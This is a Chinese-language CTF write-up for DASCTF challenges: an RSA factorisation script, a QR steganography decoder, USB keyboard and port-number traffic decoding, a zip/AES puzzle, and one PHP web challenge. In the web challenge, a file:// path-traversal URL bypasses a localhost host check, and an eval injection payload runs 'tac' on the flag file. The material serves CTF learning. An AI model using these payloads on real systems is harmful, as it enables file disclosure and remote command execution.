感谢跟我坐了一天大牢的队友~
wp是赛后复现写的,web环境当时没有做好截图
这里是引用
题目压缩包中有一个提示和另一个压缩包On_Zen_with_Buddhism.zip,提示内容如下:
直接把提示放到basecrack中跑一下
解密的结果asdadad就是On_Zen_with_Buddhism.zip的解压密码
打开txt可以比较明显的看到PK文件头,进一步确认可以看出是一个word文件,因此把flag.txt文件后缀改为docx,用word打开后把所有文字的颜色修改一下即可看到关键信息
flag{U2FsdGVkX1/nVMt/cXalqwb8VpS2mDk9UkTaHRPPq5TAtH8XxYVAwxtoDKe/yTN4 zBas0WHmW50e2QwglywbKyCRNsVxaKsbwwdDlcBEg20=}
将密文部分用AES算法进行解密,密码就是压缩包的解压密码asdadad,
最后解一下base64即可
题目如下:
from Crypto.Util.number import *
from gmpy2 import next_prime, iroot
from flag import flag
assert flag[0:4]==b'flag'
m = bytes_to_long(flag)
assert size(m)<500
p = getPrime(512)
q = next_prime(p)
n = p * q
print('n=', n>>520)
e = 0x10001
c = pow(m, e, n)
print('c=', c)
'''
n= 28576274811010794362153160897556935178530640825011441539841241257190782139295561904323347128956873569754645071205043238985141474388531008367238218822591
c= 49502875285578675438052554215266678403659290915102322948363030271494959804587081871467110614683972929037615883922743651431683465100061968204901334627149795829429950385848753728500177164800064208215503246868631076011505268371936586645321659884527055007299822625570713613996139223348709621258028349513737798120
'''
这里主要的考点是n的后520位被抹掉了,但是由于p,q之间非常接近,并且n的低位对开方的影响比较小并且p,q都是质数,因此我们可以尝试爆破符合条件的p和q,wp如下:
import gmpy2
from Crypto.Util.number import *
from sympy.ntheory import prevprime,nextprime
n= 28576274811010794362153160897556935178530640825011441539841241257190782139295561904323347128956873569754645071205043238985141474388531008367238218822591
c= 49502875285578675438052554215266678403659290915102322948363030271494959804587081871467110614683972929037615883922743651431683465100061968204901334627149795829429950385848753728500177164800064208215503246868631076011505268371936586645321659884527055007299822625570713613996139223348709621258028349513737798120
e= 0x10001
mid=gmpy2.iroot(n<<520,2)[0]
while (mid*nextprime(mid))>>520!=n or not isPrime(mid):
mid-=2
p=mid
q=nextprime(p)
d=gmpy2.invert(e,(p-1)*(q-1))
if b'flag' in long_to_bytes(pow(c,d,p*q)):
print(long_to_bytes(pow(c,d,p*q)))
开局一堆图
用Stegsolve随便打开一张图片,可以在不同颜色通道上看到二维码图片
参考Boogipop师傅编写解密脚本如下:
from pyzbar.pyzbar import decode
from PIL import Image
import os
def decode1(img, channel, index=0):
if channel in img.mode:
new_image = Image.new('1', img.size)
new_image_data = new_image.load()
img_data = img.load()
channel_index = img.mode.index(channel)
for x in range(img.size[0]):
for y in range(img.size[1]):
color = img_data[x, y]
channel = color[channel_index]
plane = bin(channel)[2:].zfill(8)
try:
new_image_data[x, y] = 255 * int(plane[abs(index - 7)])
except IndexError:
pass
return new_image
def decode2(image_path):
img = Image.open(image_path)
for channel in img.mode:
green_plane_image = decode1(img, channel, 0)
decoded_objects = decode(green_plane_image)
if decoded_objects:
decoded_text=decoded_objects[0].data.decode('utf-8')
print(f"{file},信道为{channel},二维码内容为:{decoded_text},")
return decoded_text
else:
continue
return None
if __name__ == "__main__":
res=""
for file in os.listdir("./"):
if file.endswith(".png"):
decoded_text = decode2(file)
if decoded_text:
res+=decoded_text
else:
print(f"failed")
print(res)
放到跟图片同一目录下运行即可得到flag
web签到题,赛后复现截图较少,源码如下:
show_source(__FILE__);
#dasdjf.php
$ysy = $_GET['ysy'];
$parts = parse_url($ysy);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
exit('error');
}
readfile($ysy);
?>
看题目的意思是要我们读取dasdjf.php文件,直接访问的话会显示一个 你想干嘛!!!
可以直接用file协议绕过
?ysy=file://localhost/../../../../../var/www/html/dasdjf.php
读出dasdjf.php的源码如下:
if(isset($_GET['a'])){
$a=$_GET['a'];
if(preg_match("/system|exec|highlight/i", $a) && !(preg_match("/flag|cat/i", $a))){
eval($a);
}else{
die("error");
}
}else{
echo "你想干嘛!!!";
}
?>
poc如下:
?a=system('tac /fla?.txt');
题目给了一个压缩包和一个流量包,压缩包需要密码打开,流量包中发现了很多键盘流量数据,首先在kali中利用如下命令分离出键盘流量
tshark -r usb.pcapng -T fields -e usb.capdata > usbdata.txt
接下来使用下面的脚本进行处理
normalKeys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"" ,"29":"" ,"2a":"", "2b":"\t",
"2c":"" ,"2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
"32":"" ,"33":";","34":"'","35":"" ,"36":",","37":".",
"38":"/","39":"" ,"3a":"" ,"3b":"" , "3c":"" ,"3d":"" ,
"3e":"" ,"3f":"" ,"40":"" ,"41":"" ,"42":"" ,"43":"" ,
"44":"" ,"45":"" }
shiftKeys = {
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
"28":"" ,"29":"" ,"2a":"", "2b":"\t","2c":"" ,
"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"" ,"33":"\"",
"34":":","35":"" ,"36":"<","37":">","38":"?","39":"" ,"3a":"" ,
"3b":"" , "3c":"" ,"3d":"" ,"3e":"" ,"3f":"" ,"40":"" ,
"41":"" ,"42":"" ,"43":"" ,"44":"" ,"45":"" }
output = []
keys = open('usbdata.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="" :
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
得到解压密码:!@#qwer123_DASCTF_okok
解压压缩包看到另一个流量包port.pcapng,分析流量包可以发现每次传输都是5个字符且具有显著的base64加密特征
按照端口的顺序提取字符可以发现base64编码是重复的内容,解密出来之后发现不是flag
ZmxhZyBpcyBoZXJlISEh5qyi6L+O5p2l5YiwREFTQ1RGIQ==
根据题目提示4进制可以发现flag是通过端口号进行传递的,以200端口号为每个字符之间的分割
首先通过脚本把端口号处理成下面的样子,有部分握手和挥手的数据包需要单独处理
接下来利用下面的脚本即可得到flag
f=open('2.txt','r')
lines=f.readlines()
res=[]
t=''
for line in lines:
line=line.strip()
print(line)
if line=='200':
res.append(t)
t=''
continue
t+=line[-1]
print(res)
flag=''
for i in res:
flag+=chr(int(i,4))
print(flag)
最后得到:
DASCTF{67011b0c-ba47-488f-9beb-283e7352e35e
剩下题目的wp请参考其他师傅写的一些wp,他们分别是:Boogipop师傅、雨后初霁师傅、ZimaBlue师傅
如果有其他疑问欢迎评论区留言~